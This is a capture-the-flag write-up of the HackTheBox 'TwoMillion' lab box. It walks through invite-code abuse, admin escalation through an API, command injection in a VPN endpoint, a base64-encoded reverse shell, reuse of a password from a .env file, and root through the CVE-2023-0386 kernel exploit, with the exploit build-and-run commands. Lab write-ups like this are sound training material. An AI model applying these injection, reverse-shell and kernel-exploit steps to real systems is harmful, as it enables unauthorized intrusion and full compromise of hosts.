Writeup

TwoMillion Machine

Full Linux compromise through JS deobfuscation, API enumeration, command injection, lateral movement via credential reuse, and CVE-2023-0386 kernel exploitation

Linux Easy August 2026 Ubuntu 2+ hours GitHub

About Target

TwoMillion is an Easy difficulty Linux box that was released to celebrate reaching 2 million users on HackTheBox. The box features an old version of the HackTheBox platform that includes the old hackable invite code. After hacking the invite code, an account can be created on the platform. The account can be used to enumerate various API endpoints, one of which can be used to elevate the user to an Administrator. With administrative access, the user can perform a command injection in the admin VPN generation endpoint, thus gaining a system shell. A .env file is found to contain database credentials and due to password reuse, the attacker can login as user admin on the box. The system kernel is found to be outdated and CVE-2023-0386 can be used to gain a root shell.

Attack Chain

  1. Phase 1 Reconnaissance & Host Setup
  2. Phase 2 Path Discovery & JS Deobfuscation
  3. Phase 3 Invite Code Generation & Registration
  4. Phase 4 API Enumeration & Vertical Escalation
  5. Phase 5 OS Command Injection & Reverse Shell
  6. Phase 6 Lateral Movement via Credential Reuse
  7. Phase 7 Kernel Exploitation (CVE-2023-0386)
Attack Chain Diagram

Phase 1 Reconnaissance

I performed an initial active reconnaissance using nmap scanning on the target IP address to identify open ports and running services.

Hosts file configuration

Scan Results

Port Service Details
22/tcpSSHOpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcpHTTPnginx 2million.htb

Host Setup

I added 2million.htb to my /etc/hosts file:

$ sudo echo "10.129.227.172 2million.htb" >> /etc/hosts

Phase 2 Path Discovery

I performed a path discovery across 2million.htb using gobuster. During enumeration, I discovered the /invite endpoint.

Path Discovery Results

After navigating to the /invite page:

Invite Code Form

While inspecting the page, I noticed it loaded a JavaScript file named inviteapi.min.js containing obfuscated code:

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return '\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('...',24,24,'...'.split('|'),0,{}))

Phase 3 JS Deobfuscation

I deobfuscated the code using de4js, which produced the following readable JavaScript:

Deobfuscator Results
function verifyInviteCode(code) {
    var formData = {
        "code": code
    };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function (response) {
            console.log(response)
        },
        error: function (response) {
            console.log(response)
        }
    })
}

function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function (response) {
            console.log(response)
        },
        error: function (response) {
            console.log(response)
        }
    })
}
Function Analysis:
makeInviteCode() → Generates a new invite code
verifyInviteCode(code) → Checks if a code is valid

To better understand the API, I intercepted the verification request:

Burp Suite Intercept

The API uses JSON responses.

Generating Invite Code and ROT13 Decryption

I went to the browser console and executed makeInviteCode():

Console Execution

I noticed that data were encrypted in ROT13 cipher:

ROT13 Decryption

After decryption, I found the endpoint /api/v1/invite/generate:

Generated Key

Base64 Decryption

Base64 Decryption
Invite Code Obtained: 2F4BN-YI8OH-B0SCL-L8OE6

Phase 4 Account Registration

The key was inserted and accepted successfully:

Insert Key
Registration
Successful Registration

After registration, I gained access to the platform:

Access Page

API Endpoints Enumeration

I uploaded a VPN file by clicking on the Connection Pack button and intercepted the GET request:

Burp Suite Intercept 2

I then executed a curl request with verbose and silent options to enumerate available API endpoints:

API Enumeration 1
API Enumeration 2

The server responded with a JSON list of API endpoints. The admin had 3 API endpoints with GET, POST, and PUT methods.

When I attempted to generate an admin key with the admin endpoint /api/v1/admin/vpn/generate, the key was not generated due to insufficient privileges. The first admin endpoint /api/v1/admin/auth confirmed this:

Admin Auth Status 1
Admin Auth Status 2

Phase 6 Vertical Privilege Escalation

After discovering the correct PUT request format with Content-Type: application/json and the required parameters, I successfully escalated my user to an administrator.

PUT Admin Update 1
PUT Admin Update 2
PUT Admin Update 3
PUT Admin Update 4
PUT Admin Update 5
Vertical Escalation Successful: is_admin: 0 → 1
Admin Auth
Admin Generate Key 1
Admin Generate Key 2
Admin Generate Key 3

Phase 7 OS Command Injection

I injected ;whoami; into the username field. My suspicion fell on the exec() or system() PHP functions, which are common in admin-only features and often lack proper sanitization.

For example, the vulnerable code probably looked something like this:

$username = $json->username;

exec("/usr/bin/cat /var/www/html/VPN/user/$username.ovpn");

The endpoint POST /api/v1/admin/vpn/generate was vulnerable, and OS Command Injection was performed successfully.

Command Injection 1
Command Injection 2
Command Injection 3

Reverse Shell via OS Command Injection (Base64 Bypass)

Since the application had restrictions that prevented special characters, I encoded the reverse shell payload in base64 to bypass this restriction.

Base64 Encode

I injected the payload into the username parameter, piping it to base64 -d | bash for decoding and execution:

Curl Payload Injection

Netcat Listener

Netcat Listener
Initial Access Gained! Reverse shell as www-data user
Reverse Shell Success

Phase 8 Lateral Movement

I attempted lateral movement from www-data user to the admin user using various techniques.

While inspecting the /var/www/html directory, I discovered a .env file containing database credentials:

Lateral Movement
Discovered Credentials:
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

The discovered password was successfully reused to authenticate via SSH and MySQL:

SSH Authentication

SSH Login

MySQL Authentication

MySQL Login
Lateral Movement Successful! Access as admin user via SSH

Phase 9 OS Privilege Escalation

After gaining initial access as the admin user, I performed system enumeration to identify potential privilege escalation vectors.

I tried common privilege escalation techniques like SUID binaries, capabilities, sudo rights, and cron jobs—nothing worked. I then checked environment variables for PATH hijacking or sensitive variables, and I found a MAIL variable pointing to /var/mail/admin.

Mail Variable

I checked the mail content and noticed that the admin had been warned to patch the kernel against an OverlayFS/FUSE vulnerability:

Mail Warning

Kernel Version Enumeration

Kernel Version

OS Version Enumeration

OS Version
Critical Finding: The kernel was never updated, confirming that the administrator had ignored the security warning. Kernel version 5.15.70-051570-generic is vulnerable to CVE-2023-0386 (OverlayFS/FUSE local privilege escalation).

Exploit Execution

With the vulnerability confirmed, I proceeded to obtain a public POC exploit:

$ git clone https://github.com/sxlmnwb/CVE-2023-0386
$ cd CVE-2023-0386
$ make
$ ./fuse & & ./exp

I cloned the POC, transferred it to the target machine, and executed it successfully:

POC Execution 1
Root Access
Root Flag Obtained! Full system compromise achieved via CVE-2023-0386

Complete Attack Chain

Phase Technique Target Result
1. Recon Port Scan 22 (SSH), 80 (HTTP) Service discovery
Path Discovery /invite Invite page found
JS Deobfuscation inviteapi.min.js API endpoints exposed
2. Initial Access Invite Generation POST /api/v1/invite/generate Valid invite code
Registration POST /api/v1/user/register Standard user created
3. Web Privesc API Enumeration GET /api/v1 Admin endpoints discovered
Vertical Escalation PUT /api/v1/admin/settings/update is_admin: 0 → 1
4. System Access Command Injection POST /api/v1/admin/vpn/generate username=test;id;
Reverse Shell Base64 encoded payload www-data shell
5. Lateral Movement File Discovery /var/www/html/.env admin:SuperDuperPass123
SSH Reuse ssh admin@2million.htb admin user access
6. Root Escalation Kernel Enumeration uname -r → 5.15.70 CVE-2023-0386 identified
Email Warning /var/mail/admin OverlayFS/FUSE confirmed
Exploit Execution ./fuse && ./exp Root shell
Disclaimer: All activities in this writeup were conducted within a fully authorized, isolated laboratory environment These techniques are presented solely for educational and defensive security purposes